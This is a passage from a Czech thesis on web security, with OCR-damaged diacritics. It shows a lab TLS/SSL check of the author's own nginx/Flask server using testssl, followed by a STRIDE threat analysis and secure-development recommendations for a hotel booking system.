zaver dostacujici, v praxi by ale nasledovalo komplikované parovani iframe do zranitelnych

poli, kde se spusti jako kod.

4.11 Detekce zranitelnosti TLS/SSL

Pro nasledujici ukazku vyuzijeme dva pocitace ve stejné siti, a to konkrétné dive pouzivany
Kali Linux a pocita¢, na kterém spustime webovy server pomoci Python Flask (webovy
framework pro Python pro tvorbu webovych aplikaci) a nginx, ktery bude vystupovat jako
reverse proxy (server, ktery pozadavek pteposle dal na backendovy server). V tomto piipade

potfebujeme nginx pro vytvoreni HTTPS (TLS/SSL) vrstvy. [60][61]

Ve Flask aplikaci definujeme, ze chceme vytvorenou aplikaci poskytnout pro v§echny hosty
na vSech sitovych rozhranich:
..from waitress import serve
serve (app, host='0.0.0.0', port=8080)
Nasledné nakonfigurujeme nginx pro presmérovani HTTP pozadavkti na HTTPS s pouzitim
vlastniho bezpec¢nostniho certifikatu, ktery si jednoduSe vygenerujeme a pfidame mezi
divéryhodné. Konfigura¢ni soubor nastaveni nginx je dostupny v piilohach prace [ptiloha P

1].
Zbyva se tedy jen ujistit, Ze nastaveni funguje pomoci:

netstat —-an | findstr :443
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING

Vse probéhlo v poradku a vysledkem ziskavame zabezpecené spojeni:
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2% localhost/login

localhost X
|2| Connection is secure >
%y Cookies and site data >
§8% Site settings 4
b 4

Obrazek 28 HTTPS (TLS/SSL) webovy server
(Zdroj: viastni)

Nyni mizeme pokraCovat k bezpecnostnimu testovani tohoto spojeni. Pro tyto ucely
zapneme virtudlni stroj Kali Linux v rezimu ,,sit’ pouze s hostem®, tedy zajistime, aby byl
pripojen do sité, kterd existuje jen mezi nim a hostitelskym pocitaem (v nasem piipadé
Windows). Nasledné se ujistime, Ze se koncova zatizeni opravdu nachazeji ve stejné siti a
dokéazou se navzéajem najit pomoci ptikazu ping. Po provedeni dostavame:

Ping statistics for 192.168.56.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss)
Ping probéhl Gspeésné, zbyva otestovat TCP spojeni mezi zatizenimi.

telnet 192.168.56.1 443
Vsimneme si, Ze adresuje port reverse proxy (nginx), nikoli Flask aplikace. Tento test také
byl uspésné ukoncen a mizeme tak ptejit k testovani TLS/SSL, pro ktery pouzijeme nastroj

testssl s pozadovanou IP a portem (v tomto pfipad€ 192.168.56.1 a 443).

Dostavame ocekavané vysledky testovani:



UTB ve Zliné, Fakulta aplikované informatiky 61

Testing wvulnerabilities

Heartbleed ( : vulnerable (OK) eartbeat extension
CCS (CVE-2
Ticketbleed (
ROBOT
Secure Renegotiation (RFC 5746) supported (
ot wvul
CRIME, TLS (C
BREACH [
only suppl
POODLE, SSL : 66 ) rulnerable {(O0K), no support
TLS_FALLBACK_SCSV (RF ) o fallb: wssibl (0K}, no protocol below TLS 1.2
offered
not vulnerable
not vulnerable
ble on this
ou don't use

P21

rimental

S5L3 or TLS1

Obrazek 29 TestSSL scan
(Zdroj: viastni)

Z obrazku vidime, Ze spojeni neni zranitelné naptiklad k BEAST, rozebiranému v teoretické

Casti. Potencidln€ pouze k LUCKY13.

O néco zajimavéjsi jsou ale dalsi scany:

SubjectAltName (SAN) localhost
Trust (hostname) certificate does not match supplied URI
Chain of trust NOT ok (self signed)

Z vysledku vidime, Ze nastavd bezpecnostni problém se self-signed certifikatem, coz je

ocekavané.
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5 DOPORUCENI BEZPECNOSTNICH POSTUPU PRO VYVOJARE

V této kapitole se zaméiime na navrh bezpecnych webovych aplikaci. Tento postup bude
slouzit jako komplexni piirucka pro vyvojafe a vychazi z ptredchozich analyz hrozeb,

bezpecnostnich technik a demonstraci utok.

Prvnim krokem ke kazdé bezpecné aplikaci je prvotni névrh, kde jiz v po¢atecni fazi vyvoje
by méla byt feSena bezpecnost. V tomto bod¢ by se mél vyvojai zamyslet nad analyzou
hrozeb arizik, a to konkrétné pouzitim metody STRIDE (Spoofing, Tampering, Repudiation,
Information Disclosure, Denial of Service, Elevation of Privilege), popsané vyse. Pomoci ni
by mély byt posouzeny pravdépodobnosti titoku a jejich dopady na systém. Podle téchto
kritérii je pak stanoven i navrh, kde by se vyvojaf mé¢l zaméfit na eliminaci téchto hrozeb
nebo na jejich minimalizaci.

Ukéazeme si tento prvni bod v praxi na ptikladu jiz dfive zminéné webové aplikace:

rezervacniho systému hotelu. Nejprve si uréime detailnéjsi informace o systému, se kterym

budeme pracovat, ¢imz si pomiizeme v analyze. Polozime si nasledujici otazky:
1. Kdo je navStévnikem stranky?

Na strance nalezneme administratora (recepCni, ktera objednavky pfijimd), a

zékazniky.
2. Které udaje bude systém zpracovavat?

Osobni udaje (jméno, e-mail, telefon, ¢islo dokladu, datum narozeni), platebni

informace, rezervace pokoje (pocet hostil, pocet obsazenych pokoji).
3. Které funkce systém poskytuje?
Rezervaci pokoje v terminu od-do, platebni branu, sprava rezervaci, registrace a
pfihlaSovani.
Tyto informace nam poskytuji prvni pohled na budouci systétm a muzeme postupovat

k prvnimu bodu analyzy hrozeb a rizik nasi webové aplikace — vytvofeni data flow diagramu

dat, kde vidime vSechny ndmi diive uréené funkcionality systému:
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Zjistit dostupnost
Zjistit dostupnost

stav dostupnosti Dostupnost 1

Rezervace <~

Rezervace Rezervace

Booking

Hosté
PFidani zakaznika oste

Zjisténi informaci o platbé

Zjisténi informaci o platbé

Platba

-

L Platby

—P
— T C I

aktualizace stavu platby

L zruieni nebo Uprava rezervace

aktualizace

Zruseni nebo

Uprava

Obrazek 30 Data flow diagram

Nyni ur¢ime ,,trust levels* systému a nasledné posoudime vstupni body (entry points)

aplikace. Z dtive urcenych funkcionalit ale mizeme ,,trust levels* omezit na nasledujici:

1. Anonymni uzivatel (v tomto ptipadé nemé smysl rozdéleni na autorizovaného a

neautorizovaného uzivatele)
2. Administrator

Spojenim téchto informaci vytvotime tabulku vstupnich bodil s popisem a trust levelem
vyzadovanym pro pfistup. V tomto ptipad¢ rezervacniho systému nevyzadujeme autorizaci

uzivatele a ptijimame rizika s tim spojena. Podrobnosti vidime v nésledujici tabulce:

ID Nazev Popis Trust Level
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1 HTTPS Port VSechny  stranky Anonymni uZivatel,
hotelu budou Administrator
pristupné  pomoci
bezpecného
protokolu TLS
2 Hlavni stranka  Uvodni stranka Anonymni uZivatel,
hotelu s galerii a popisem = Administrator
3 Rezervacni formular Citlivé udaje jako Anonymni uzivatel,
jsou cisla dokladu, Administrator
jména a datum
narozeni
4 Kontrola Vybér data ptijezdu Anonymni uzivatel,
dostupnosti a odjezdu Administrator
5 Prehled Spravuje Administrator
rezervaci/plateb administrator
Tabulka 2 Vstupni body aplikace
(Zdroj: vlastni)
Nyni miZeme postupovat dal k samotné STRIDE analyze:
Hrozba Riziko MoZné dopady Piiklady mitigace
Spoofing Utoénik se pfihlasi pomoci Ztrata dat a Rate limiting,
identity zakaznika financi vicefaktorova
autentizace,  pouZiti
HTTPS
Tampering Utoénik  upravi  &astku Narueni divéry Sanitace vstupu,
platby za ubytovani v systém, finan¢ni hashovani
ztraty
Repudiation Uzivatel odmitd, ze provedl Financni ztraty Potvrzeni pomoci e-

rezervaci nebo platbu.

mailu
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Information Neopravnény piistup (jiné Narudeni davéry Sifrovani citlivych dat,
Disclosure osoby nez je administrator) v systém, testovani API
k seznamu rezervaci poruseni GDPR
Denial of Service Masivni pocet rezervaci Finanéni  ztraty Rate limiting,
jako utok vypadkem CAPCHA...
systemu
Elevation of Uzivatel zneuziva NaruSeni provozu Penetracni testovani,
Privilege zranitelnosti a  ziskdva (zména 0daji a garantovani nejnizsich
pristup jiné) pottebnych opravnéni

k administratorskym

funkcim (piehled rezervaci)
Tabulka 3 STRIDE analyza
(Zdroj: viastni)

Dal$im bodem po STRIDE analyze, na ktery by se méli vyvojafi zaméfit, vychazi z n€kolika
ukazek utoki vyse, kde na ovéfovani a autorizaci uzivateli nebyl kladen dostate¢ny duraz,
a nasledné situace vedla k prolomeni systému. Konkrétné¢ by se mély implementovat
techniky, jako jsou bezpecnostni tokeny, dvojfazové ovéteni a odepieni piistupu uZivatel
na stranky, kam by mél mit pfistup jen administrator (pfikladem Utok s vefejnou API

dokumentaci v kapitole ,,praktické ukazky bezpecnostnich utokt‘).

Do této kategorie spada 1 zabezpeceni samotnych informaci o uzivateli, které bude stranka
ukladat. Jedna se o spravnou implementaci Sifrovacich algoritmii, zminénych v teoretické
Casti této prace, pro ulozeni citlivych udaji (klasicky se jedna o hesla). Zahrneme sem i
ochranné techniky proti béZnym zranitelnostem, podrobné rozebrané v kapitole ,,ochranné
techniky a prevence®. Miize se jednat o spravnou konfiguraci CSP (kde jsme si moZnou
chybu, kterd spocivala v Spatné sanitaci vstupu a vedla k piekonani ochrany, ukézali na
praktickém utoku), konfiguraci CORS, prepared statements pro SQLi a jiné. Tyto techniky
se mohou minimaln¢ liSit v zavislosti na typu aplikace, vétSina ale zlstava jako ,,best

practice® a pokryva béZné zranitelnosti.

Pro tento bod, v ptfipadé rezervacniho systému ubytovani, bychom volili mitigaci z jiz dfive

sepsané STRIDE analyzy.
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Dulezitym bodem je 1 zabezpeCeni samotného pienosu citlivych udaji ptes TLS. Do této
sekce vyvoje bezpecné aplikace mlze spadat omezeni opravnéni pro ptistup k dotaziim
databaze nebo pouziti HTTPS s aktudlnimi verzemi TLS a jinych bezpecnostnich certifikata

potiebnych k béhu aplikace.

Poslednim bodem vyvoje je pravidelné bezpecnostni (penetracni a fuzz) testovani. Pro
prevenci by se mély pouzivat i aktudlni knihovny a frameworky, kde jsou mnohé

zranitelnosti jiz pokryté.
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ZAVER
5.1 Shrnuti vysledkii

V praci byly popsany utoky na webové stranky, jejich typy, techniky a dopady. Byly
rozebrany bezpecCnostni techniky prevence a ochrany proti Gtoklim, a zéklady fungovani

utokil na bezpecnostni certifikaty TLS/SSL.

Byly pfedstaveny pfiklady utokt na webové stranky rtznych druhi, kde bylo ndzorné
zdokumentovano, jak ptfipadné ochranné techniky mohou byt obejity a jak by piipadny
uto¢nik u dané zranitelnosti postupoval, od jeji detekce az po Uispésné prolomeni systému a

ziskani citlivych dat.

Dale byla rozebrana doporuceni pro vyvojare jako pohled z jiné strany, po imitaci uto¢nika
v praktickych ptikladech utoki. Zde nasledovaly postupy a doporuceni pro vyvoj bezpecné
webové aplikace, od navrhu systému, detekce slabych mist a zranitelnosti az po

implementaci bezpe¢nostnich opatifeni, rozebranych v této praci.

5.2 Prinos autora

Nejvetsim pfinosem pro autora byla implementace utokii na webové stranky a obchéazeni
bezpecnostnich technik. Zde nésledovalo zjisténi, ze vyvoj bezpecné webové aplikace je

slozity a dlouhy proces, ve kterém musi vyvojaf vénovat pozornost detailim.

Musi umét nahlizet na implementaci hned z né€kolika tthlti pohledu, a to jak z pohledu vyvoje,
kde musi myslet na nasazeni spravnych technik, tak z pohledu Utoc¢nika, ktery vnima
moznosti, jak mize bezpe€nostni techniky obejit, tak 1 z pohledu uZivatele systému, kde

musi myslet na snadné, intuitivni ovladani a zaroven i1 bezpecnost dat.
Dalsim, spiSe teoretickym piinosem prace, byl uceleny pohled na véc, kde byly béhem
odborné reserse ziskany informace o nejbéznéjsich titocich a zranitelnostech, a to i o itocich

na bezpecnostni certifikaty TLS/SSL. V této praci je nyni pfehled na jednom miste.
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